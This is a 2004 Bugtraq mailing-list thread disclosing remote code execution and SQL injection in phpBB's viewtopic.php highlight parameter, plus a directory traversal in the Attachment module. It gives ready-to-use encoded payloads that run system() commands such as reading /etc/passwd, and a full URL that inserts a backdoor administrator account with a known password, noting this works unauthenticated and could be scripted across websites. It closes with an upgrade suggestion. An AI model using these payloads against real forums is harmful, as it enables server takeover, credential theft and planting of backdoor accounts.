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Re: Phpbb id: 10701 update and Attachmodule add-on Directory Traversal
From: "ntx0f" <ntx0f () seteuid com>
Date: Sat, 4 Dec 2004 23:22:17 -0500

Instead of just injecting mysql commands you can use system(); to virtually
execute any command you want.

here's some examples i've already tested :

system(ls -l);
--------------
%2527%252esystem(chr(108)%252echr(115)%252echr(32)%252echr(45)%252echr(108))
%252echr(59)%252e%2527

system(uname -a);
-----------------
%2527%252esystem(chr(117)%252echr(110)%252echr(97)%252echr(109)%252echr(101)
%252echr(32)%252echr(45)%252echr(97))%252echr(59)%252e%2527

system(id);
-----------
%2527%252esystem(chr(105)%252echr(100))%252echr(59)%252e%2527

system(/bin/cat /etc/passwd);
-----------------------------
%2527%252esystem(chr(47)%252echr(98)%252echr(105)%252echr(110)%252echr(47)%2
52echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(101)%252
echr(116)%252echr(99)%252echr(47)%252echr(112)%252echr(97)%252echr(115)%252e
chr(115)%252echr(119)%252echr(100))%252echr(59)%252e%2527

with the wrong permissions set someone exploiting this vulnerability would
be able to overwrite anything.

----- Original Message -----
From: <zee () psybnc it>
To: <bugtraq () securityfocus com>
Sent: Friday, November 26, 2004 2:23 PM
Subject: Phpbb id: 10701 update and Attachmodule add-on Directory Traversal


Phpbb: All vulnerable all except 2.0.11
Attachment module: All version vulnerable

Howdark update opened wide my eyes with his nice exploit:

Bugtraq id: 10701

 -----
viewtopic.php?t=1&highlight=%2527
 -----

Looking at the code I saw that was possible inject any type of Sql query
with a multiple char() functions.

The following code can add an username with admin rights executing this
query:

INSERT INTO
phpbb_users(user_id,user_active,username,user_password,user_level) VALUES
('99999','1','ze3lock','ba3c83348bddf7b368b478ac06d3340e','1')

And will be added to phpbb_users a new user with admin rights.

*Note we can only execute a working query if we know the tables name. If
not
we can't. So this work only with a standard installation (usually 95% of
websites ;-)

username: ze3lock
pass: thepass

The exploit can be run without being logged in and then you can have
access
with username. So it's quite simple to make it part of a script that could
make backdoors around the web.

For make it working just use the id of a working thread (in this case the
thread is 30 - you can see it from the message)

 --- Code start ----


http://site.com/forum/viewtopic.php?t=30&highlight=%2527%252emysql_query(chr

(73)%252echr(78)%252echr(83)%252echr(69)%252echr(82)%252echr(84)%252echr(32)

%252echr(73)%252echr(78)%252echr(84)%252echr(79)%252echr(32)%252echr(112)%25

2echr(104)%252echr(112)%252echr(98)%252echr(98)%252echr(95)%252echr(117)%252

echr(115)%252echr(101)%252echr(114)%252echr(115)%252echr(40)%252echr(117)%25

2echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(105)%252echr(100)%2

52echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%2

52echr(97)%252echr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%2

52echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)%

252echr(97)%252echr(109)%252echr(101)%252echr(44)%252echr(117)%252echr(115)%

252echr(101)%252echr(114)%252echr(95)%252echr(112)%252echr(97)%252echr(115)%

252echr(115)%252echr(119)%252echr(111)%252echr(114)%252echr(100)%252echr(44)

%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(108
)%252echr(101)%252echr(118)%252echr(101)%252echr(108)%252echr(41)%252echr(
32
)%252echr(86)%252echr(65)%252echr(76)%252echr(85)%252echr(69)%252echr(83)%
25

2echr(32)%252echr(40)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252ech

r(57)%252echr(57)%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39
)%252echr(44)%252echr(39)%252echr(122)%252echr(101)%252echr(51)%252echr(10
8)

%252echr(111)%252echr(99)%252echr(107)%252echr(39)%252echr(44)%252echr(39)%2

52echr(98)%252echr(97)%252echr(51)%252echr(99)%252echr(56)%252echr(51)%252ec

hr(51)%252echr(52)%252echr(56)%252echr(98)%252echr(100)%252echr(100)%252echr

(102)%252echr(55)%252echr(98)%252echr(51)%252echr(54)%252echr(56)%252echr(98
)%252echr(52)%252echr(55)%252echr(56)%252echr(97)%252echr(99)%252echr(48)%
25

2echr(54)%252echr(100)%252echr(51)%252echr(51)%252echr(52)%252echr(48)%252ec

hr(101)%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(
41))%252e%2527

 --- code end ---

 ------------ Attach Module ----------------


In the attach module, I found a directory traversal in the "UPLOAD_DIR"
field.

This is the directory where all attachments are supposted to be uploaded.

The field accept any kind of character so you can put instead of 'files'
'../../' and all the attachments will be uploaded in the '../..?
directory.

That's really dangerous for defacements threat.


 --------------- Suggestion ------------------

Please, upgrade to version 2.0.11 and add an input validation to
UPLOAD_DIR
field in attach module.

Zeelock


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